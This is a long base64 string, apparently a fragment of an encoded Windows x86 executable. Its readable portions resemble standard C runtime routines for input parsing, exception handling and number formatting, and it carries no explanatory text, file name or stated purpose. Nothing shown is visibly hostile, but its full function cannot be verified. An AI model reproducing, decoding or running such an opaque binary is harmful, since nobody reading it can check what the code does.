UD9//9GUI2FCP3//1CNhdz8//9QVujQ9///g8QUhcB0XIu9MP3///+1IP3//0fohFoAAFlqLQ+32FmJnTj9//9mO8sPhZcAAACLhQj9//9miQxwjYXU/P//UI2FQP3//0ZQjYUI/f//UI2F3Pz//1BW6HT3//+DxBSFwHVvi7U4/f//M9uLhRT9//+DvcT8//8BdQdQ6M02//9Zg73U/P//AXUM/7UI/f//6Lg2//9ZuP//AABmO8YPhewLAACLheD8//+FwA+F+QsAADiFPv3//w+F7QsAAIPI/+nlCwAAaitYZjvDD4WQAAAAi40s/f//i8FJiY0s/f//hcB1ZyGFLP3//+t1D7bDUOjnWAAAWYXAdHeLjSz9//+LwUmJjSz9//+FwHRki4UI/f///4X4/P//ZokccI2F1Pz//1CNhUD9//9GUI2FCP3//1CNhdz8//9QVuiP9v//g8QUhcAPhBf/////tSD9//9H6EVZAAAPt9hZiZ04/f//98MA/wAAdIPrBou9MP3///+1IP3//09Tib0w/f//ib0Q/f//6Nj2//+Dvfj8//8AWVkPhMn+//+AvTf9//8AD4WRAAAAi4UI/f//M8n/heD8//9miQxwi4Xc/P//jTxFAgAAAFfohY///4vwWYX2D4SM/v//jU//Uf+1CP3//1dWagDoT18AAIPEFIXAdBKD+BYPhNUKAACD+CIPhMwKAACLjQD9//+NhbT8//9QD76FK/3//1ZRSFD/NSBeRAD/FQyiQgD/0FboHjX//4PEFIu9MP3//4uFJP3//4qNPv3///7Bg8ACiI0+/f//iYUk/f//6VwJAACFwHUQ/4Us/f//x4Xw/P//AQAAAITbfgfGhR/9//8Bi4Uw/f///7Ug/f//i504/f//SIu1AP3//1OJhTD9//+JhRD9///ov/X//4u9GP3//1lZg/9jdAb/jdj8//+DvfD8//8AdBeLjSz9//+LwUmJjSz9//+FwA+ESgQAAIuFMP3///+1IP3//0CJhTD9//+JhRD9///oqFcAAA+32Lj//wAAiZ04/f//WWY7ww+E8wMAAIP/Y3RPg/9zdRaD+wlyCYP7DQ+G2wMAAGogWGY72HU0g/97D4XKAwAAD7fDM9KLyEKD4QfB6APT4ouNFP3//w++DAgPvoXn/P//M8iF0Q+EnwMAAIC9N/3//wAPhYoDAACLjdj8//+FyQ+E3wgAAIC9H/3//wAPhCkDAACLlQD9//9miRqDwgJJiZUA/f//iY3Y/P//6RD///+LwoPocA+EugMAAIPoAw+Es/7//0hID4SwAwAAg+gDD4SBAQAAg+gDdDuLhST9//+LnTj9//9mORgPhWIIAACKjT79///+yYC9N/3//wAPhUn+//+Llcj8//+Jlcz8///pOP7//4TbfgfGhR/9//8Bi70k/f//g8cCal5YZjsHdQqDxwLGhef8////i4UU/f//hcB1I2gAIAAA6AuN//+JhRT9//9ZhcAPhC4IAADHhcT8//8BAAAAaAAgAAAz21NQ6GwnAACDxAxqXVpmOxcPhbEAAACLhRT9//+L8oPHAsZACyDplwAAAA+3yIPHAmotWGY7wXVvZoX2dGoPtwdmO9B0YoPHAom9JP3//2Y78HMEi/jrCw+3/ovwibXQ/P//ib3s/P//Zjv3cy0rvdD8//8Pt9+LvRT9//8Pt/aL1ovOweoDg+EHsAHS4AgEOkZLdeuLvez8//8Pt8+L84u9JP3//+sCi/GL0bABg+EHweoD0uCLjRT9//9qXQgEClqJtdD8//8PtwdmO9APhVf///9mOR8PhPsGAACJvST9///pLP3//4u9GP3//2otWGY7wXUJxoUP/f//AesIaitYZjvBdRf/jSz9//8PhYYAAACDvfD8//8AdH23AYu1MP3//2owWGY7wQ+FLgIAAP+1IP3//0aJtTD9//+JtRD9///o8FQAAFkPt8hqeFiJjTj9//9mO8EPhJ0AAABqWFpmO9EPhJEAAADHhfj8//8BAAAAO/h0ToO98Pz//wB0Cv+NLP3//3UC/sdqb1qJlRj9///pzgEAAIu1MP3///+1IP3//0aJtTD9//+JtRD9///ogVQAAFkPt8iJjTj9///pXv///06JtTD9//+JtRD9//+LtSD9//9WUege8v//WVlqMFiLyIuVGP3//2p4iY04/f//WOlyAQAARom1MP3//4m1EP3//4u1IP3//1boJFQAAIO98Pz//wBZD7fIiY04/f//dBaLhSz9//+D6AKJhSz9//+D+AF9Av7HanhYi9CJlRj9///pIAEAAIOl7Pz//wCNhez8//9TUf+1AP3//1DoADoAAIPEEIP4Ig+EggUAAIuF7Pz//4XAD47Q+///AYUA/f//KYXY/P//6b/7//+DxgLpt/v//4uFMP3///+1IP3//0hTiYUw/f//iYUQ/f//6ETx//9ZWYuFAP3//zvwD4Q0+f//gL03/f//AA+F9vr///+F4Pz//4P/Yw+E5/r//4C9H/3//wCLvTD9//90CjPJZokI6dT6///GAADpzPr//8aFK/3//wFqLVhmO8F1CcaFD/3//wHrCGorWGY7wXU9/40s/f//dQ2DvfD8//8AdAS3Aesoi7Ug/f//R1aJvTD9//+JvRD9///o41IAAFkPt8jpif7//4uVGP3//2p4WIu1IP3//4O99Pz//wAPhMwBAACE/w+FiwEAAIudMP3//zvQD4SLAAAAg/pwD4SCAAAA98EA/wAAD4VCAQAAD7bBUOjKUQAAi70Y/f//WYXAD4RIAQAAam9YO/h1MIuNOP3//2o4WGY7wQ+GFwEAAIuF/Pz//4u16Pz//w+k8AOJhfz8///B5gPphgAAAIuV/Pz//2oAagpSi5Xo/P//Uuj5UQAAi404/f//i/CJlfz8///rX/fBAP8AAA+FwAAAAA+2wVDonlEAAFmFwA+EqAAAAIuF6Pz//4uN/Pz//4u1OP3//w+kwQRWweAEiY38/P//iYXo/P//6Gnv//+LvRj9//+Ltej8//9ZD7fIiY04/f///4X4/P//D7fBajBZK8GZA/CLhfz8//+Jtej8//8TwoO98Pz//wCJhfz8//90CP+NLP3//3Rvi7Ug/f//Q1aJnTD9//+JnRD9///ob1EAAIuVGP3//1kPt8hqeImNOP3//1jpp/7//4uNOP3//4u9GP3//0tWUYmdMP3//4mdEP3//+j97v//WVnrDouNOP3//+vgi70Y/f//i4X8/P//i7Xo/P//gL0P/f//AA+EVgEAAPfeagBbE8OJtej8///32ImF/Pz//+k+AQAAhP8PhRkBAACLnez8//+LtTD9//870HRMg/pwdEf3wQD/AAAPhdUAAAAPtsFQ6ABQAACLvRj9//9Zi404/f//hcAPhL0AAABqb1g7+HURajhYZjvBD4aqAAAAweMD6z5r2wrrOffBAP8AAA+FjgAAAA+2wVDoD1AAAFmFwHR6i7U4/f//VsHjBOj67f//i70Y/f//WQ+3yImNOP3///+F+Pz//4PD0A+3wQPYg73w/P//AImd7Pz//3QI/40s/f//dGWLtTD9////tSD9//9GibUw/f//ibUQ/f//6BJQAACLlRj9//9ZD7fIaniJjTj9//9Y6Rz///+LjTj9//+LvRj9////tSD9//9OUYm1MP3//4m1EP3//+ib7f//WVnrBou9GP3//4C9D/3//wB0DIuF7Pz///fYM9vrCDPbi4Xs/P//g+9G998b/yO9+Pz//w+EOwEAAIC9N/3//wCLvTD9//8PhW/y////heD8//+DvfT8//8AdByLhQD9//+Llej8//+JEIuV/Pz//4lQBOlE8v//io0r/f//i504/f//hMmLjQD9//90B4kB6dv2//9miQHp0/b//2Y70HUOjUECZjsQdQaJhST9//+LtSD9//9HVom9MP3//4m9EP3//+gMTwAAWYuNJP3//w+32ImdOP3//2aLAYPBAomNJP3//2Y7ww+FyQAAALj//wAAZjvDdSmLnST9//+LtTj9//9qJVlmOQsPhZH0//9qblhmOUMCD4WE9P//M9vrCDPbi7U4/f//i4Uk/f//D7cAZoXAD4V67f//6WH0////tSD9//9R6E/s//9ZWelI9P//i4UA/f//hNt+CTPJM9tmiQjrBDPbiBjoulX//8cADAAAAIu1OP3//+kj9P///7Ug/f//U+gP7P//WTPbWUPr4uiRVf//gL0f/f//AMcADAAAAHQKM8BmiQbp6vP//zPbiB7rvlZT64yLtTj9//8z2+nh8///g/sBdRDoV1X//8cAFgAAAOiOaf//i4Xg/P//gL3A/P//AF90CouNvPz//4NhcP2LTfxeM81b6Fsd//+L5V3DM8BQUFBQUOhoaf//zFWL7ItFCIsAgThjc23gdSWDeBADdR+LQBQ9IAWTGXQbPSEFkxl0FD0iBZMZdA09AECZAXQGM8BdwgQA6PW1///MaIMYQgDoBbT//1kzwMNVi+xW6N6c//+L8IX2D4RFAQAAi1Zci8pXi30IOTl0DYPBDI2CkAAAADvIcu+NgpAAAAA7yHMEOTl0AjPJhckPhBABAACLUQiF0g+EBQEAAIP6BXUMg2EIADPAQOn2AAAAg/oBdQiDyP/p6QAAAItFDFOLXmCJRmCDeQQID4XAAAAAaiRfi0Zcg2QHCACDxwyB/5AAAAB87YE5jgAAwIt+ZHUMx0ZkgwAAAOmGAAAAgTmQAADAdQnHRmSBAAAA63WBOZEAAMB1CcdGZ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